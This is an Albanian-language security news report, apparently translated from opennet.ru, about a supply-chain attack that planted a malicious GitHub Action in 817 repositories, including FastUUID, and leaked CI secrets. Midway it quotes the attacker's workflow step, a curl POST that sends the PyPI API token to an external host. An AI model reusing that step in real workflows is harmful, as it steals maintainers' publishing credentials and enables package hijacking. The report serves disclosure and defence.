Hulumtuesit nga kompania GitGuardian identifikuan nj\u00eb sulm masiv ndaj p\u00ebrdoruesve t\u00eb GitHub, n\u00eb t\u00eb cilin u mor kontrolli mbi 327 llogari dhe u vendos nj\u00eb procesor i d\u00ebmsh\u00ebm Github Action n\u00eb 817 repozita. Sulmi \u00e7oi n\u00eb rrjedhjen e 3325 sekreteve, t\u00eb p\u00ebrdorura n\u00eb sistemet e integrimit t\u00eb vazhduesh\u00ebm dhe t\u00eb transmetuara p\u00ebrmes variablave t\u00eb mjedisit, duke p\u00ebrfshir\u00eb tokenat e aksesit n\u00eb PyPI, GitHub, NPM, DockerHub dhe disa sh\u00ebrbime t\u00eb tjera cloud.
<\/center> <\/p>\n
GitHub Actions ofron mund\u00ebsin\u00eb p\u00ebr zhvilluesit e kodit t\u00eb bashkangjisin menaxher\u00eb p\u00ebr automatizimin e operacioneve t\u00eb ndryshme n\u00eb GitHub. P\u00ebr shembull, me an\u00eb t\u00eb GitHub Actions, mund t\u00eb kryhen kontrollime dhe teste t\u00eb caktuara kur kryhen komit\u00eb ose t\u00eb automatizohet p\u00ebrpunimi i Issues t\u00eb reja. Nj\u00eb menaxher keqdash\u00ebs u p\u00ebrhap me emrin «Github Actions Security» dhe p\u00ebrmbante n\u00eb seksionin «run» komand\u00ebn «curl», e cila d\u00ebrgonte p\u00ebrmbajtjen e variablave t\u00eb mjedisit n\u00eb nj\u00eb host t\u00eb jasht\u00ebm gjat\u00eb ekzekutimit t\u00eb detyrave n\u00eb nj\u00eb mjedis t\u00eb integrimit t\u00eb vazhduesh\u00ebm. Komiti keqdash\u00ebs u shtua nga llogarit\u00eb e mbajt\u00ebsve t\u00eb projekteve, t\u00eb cilat, me sa duket, ishin hakuar ose ishin b\u00ebr\u00eb viktima t\u00eb phishing-ut. <\/p>\n
Sulmi u zbuluar pas analiz\u00ebs s\u00eb aktiviteteve anormale, t\u00eb lidhura me paket\u00ebn FastUUID, e cila ofron nj\u00eb mb\u00ebshtetje Python mbi bibliotek\u00ebn Rust UUID. Paketa FastUUID, p\u00ebr t\u00eb cil\u00ebn gjat\u00eb jav\u00ebs s\u00eb kaluar jan\u00eb regjistruar gati 1.2 milion shkarkime, p\u00ebrdoret si var\u00ebsi n\u00eb projektin e njohur LiteLLM, i cili ka m\u00eb shum\u00eb se 5 milion shkarkime n\u00eb jav\u00eb n\u00eb PyPI. Analiza e ndryshimeve n\u00eb depozit\u00ebn FastUUID tregoi se m\u00eb 2 Shtator, mbajt\u00ebsi i projektit shtoi nj\u00eb komit me nj\u00eb menaxher t\u00eb ri GitHub Action, i cili p\u00ebrmbante kod p\u00ebr d\u00ebrgimin e tokenit n\u00eb depozit\u00ebn PyPI n\u00eb nj\u00eb host t\u00eb jasht\u00ebm. — name: Github Actions Security run: | curl -s -X POST -d ‘PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}’ https:\/\/bold-dhawan.45-139-104-115.plesk.page <\/p>\n
P\u00ebrgjegj\u00ebsia u identifikua para se keqb\u00ebr\u00ebsit t\u00eb shfryt\u00ebzojn\u00eb tokenin e kapur — publikimi i ndryshimeve keqdash\u00ebse ose versioneve t\u00eb modifikuara t\u00eb paket\u00ebs n\u00eb PyPI p\u00ebr FastUUID nuk \u00ebsht\u00eb regjistruar. Z\u00ebvend\u00ebsime t\u00eb ngjashme t\u00eb GitHub Action jan\u00eb identifikuar edhe n\u00eb 816 depozita, pronar\u00ebve t\u00eb t\u00eb cilave, si dhe administrat\u00ebs s\u00eb PyPI, GitHub, NPM dhe DockerHub, u jan\u00eb d\u00ebrguar njoftime. Deri mbr\u00ebmjen e djeshme, komit\u00ebt keqdash\u00ebs ishin anulouar n\u00eb rreth 100 depozita. Aktualisht, kur k\u00ebrkohet n\u00eb GitHub, identifikohen 671 komit\u00eb me GitHub Action keqdash\u00ebs. \n Burimi: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"
![\"Gjat\u00eb](\"\/wp-content\/uploads\/2025\/09\/67680941517aef43057214be405892b7.png\")
<\/center> <\/p>\n